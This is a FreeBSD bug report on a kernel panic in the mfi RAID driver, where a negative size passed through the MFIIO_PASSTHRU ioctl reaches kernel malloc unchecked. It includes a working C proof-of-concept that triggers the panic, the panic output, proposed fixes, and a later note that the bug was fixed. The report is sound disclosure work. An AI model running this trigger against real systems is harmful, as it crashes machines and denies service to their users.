Bug 167107

Summary: [mfi] [panic] no kernel malloc size argument check causing system panic
Product: Base System Reporter: lampa
Component: kernAssignee: freebsd-bugs (Nobody) <bugs>
Status: Closed FIXED    
Severity: Affects Only Me CC: avos
Priority: Normal Keywords: panic
Version: 9.0-STABLE   
Hardware: Any   
OS: Any   

Description lampa 2012-04-19 20:10:12 UTC
Kernel malloc() doesn't check size argument, so it's possible to raise
kernel panic using system call. Simple demonstration program:

#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dev/mfi/mfi_ioctl.h>

int main()
        struct mfi_ioc_passthru ioc;
        struct mfi_dcmd_frame *dcmd;
        char buf[1024];

        int fd = open("/dev/mfi0", O_RDONLY);
        bzero(&ioc, sizeof(ioc));
        dcmd = &ioc.ioc_frame;
        dcmd->header.cmd = MFI_CMD_DCMD;
        dcmd->header.timeout = 0;
        dcmd->header.flags = 0;
        dcmd->header.data_len = -8192;
        dcmd->opcode = MFI_DCMD_CTRL_GETINFO;
        ioc.buf = buf;
        ioc.buf_size = -8192;
        ioctl(fd, MFIIO_PASSTHRU, &ioc);


panic: kmem_malloc(-8192): kmem_map too small: 103632896 total allocated


1. Check malloc() size argument obtained from user space in
2. Change uma_large_malloc(), uma_small_alloc(), etc. prototypes from
   int size to size_t size to be consistent with malloc() and kmem_malloc().
3. Check if size argument is not larger then available memory in
   kmem_malloc() and fail properly with return 0 and not panic.
Comment 1 Eitan Adler freebsd_committer freebsd_triage 2017-12-31 08:01:16 UTC
For bugs matching the following criteria:

Status: In Progress Changed: (is less than) 2014-06-01

Reset to default assignee and clear in-progress tags.

Mail being skipped
Comment 2 Andriy Voskoboinyk freebsd_committer 2019-03-31 10:45:03 UTC
Fixed in base r238077 (since ((uint32_t)-8192 > 1024 * 1024) ENOMEM will be returned instead).